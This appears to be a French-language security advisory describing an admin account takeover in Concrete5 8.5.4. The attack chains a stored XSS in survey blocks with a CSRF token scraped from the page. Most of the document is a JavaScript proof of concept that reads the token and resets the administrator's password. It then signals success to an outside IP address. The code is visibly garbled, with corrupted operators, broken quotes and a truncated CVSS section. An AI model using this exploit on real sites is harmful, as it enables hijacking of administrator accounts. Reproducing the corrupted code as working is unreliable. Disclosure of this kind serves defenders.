
Survey XSS combiné avec CSRF conduit à la prise de contrôle du compte administrateur dans Concrete5 8.5.4
Un administrateur de Concrete CMS dans les versions antérieures à 9 n'avait pas besoin de fournir son mot de passe pour modifier le mot de passe d'un autre utilisateur.
En combinaison avec CVE-2021-28145 ("Concrete CMS (anciennement concrete5) avant 8.5.5 permet aux utilisateurs authentifiés distants de mener des attaques XSS via un bloc d'enquête malveillant. Cela nécessite au moins les privilèges d'éditeur : le correctif a été inclus dans la version 8.5.5."), il est possible pour un utilisateur à faibles privilèges, par exemple un développeur ou un utilisateur public capable de créer des enquêtes, d'insérer du code JavaScript malveillant dans l'application web. Les résultats des enquêtes peuvent être consultés par un administrateur dans son interface web sous Rapports > Enquêtes. Le code JavaScript malveillant y est également exécuté. Concrete5 dispose d'une protection CSRF qui peut être contournée très facilement en volant le jeton correspondant sur la page avant d'exécuter une requête. Concrete5 ne demandant pas l'ancien mot de passe lors de sa modification, il est possible de modifier très facilement le mot de passe de l'administrateur.
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send();
req.onreadystatechange = function () {
if (req.readyState == 4 bb req.status == 200) {
body = req.responseText;
ccm_token = body.match(regex)[3];
}
};
setTimeout(() => {
confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token);
req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1");
req2.onreadystatechange = function () {
if (req2.readyState == 4 bb req2.status == 200) {
body = req2.responseText;
if (body.includes("Password updated successfully.")){
console.log("Password updated successfully.");
var myImage = new Image(0, 0);
myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
}
else{
console.log("Something went wrong");
}
}
}
},2000);
Scores CVSS :
Résultat en un score final de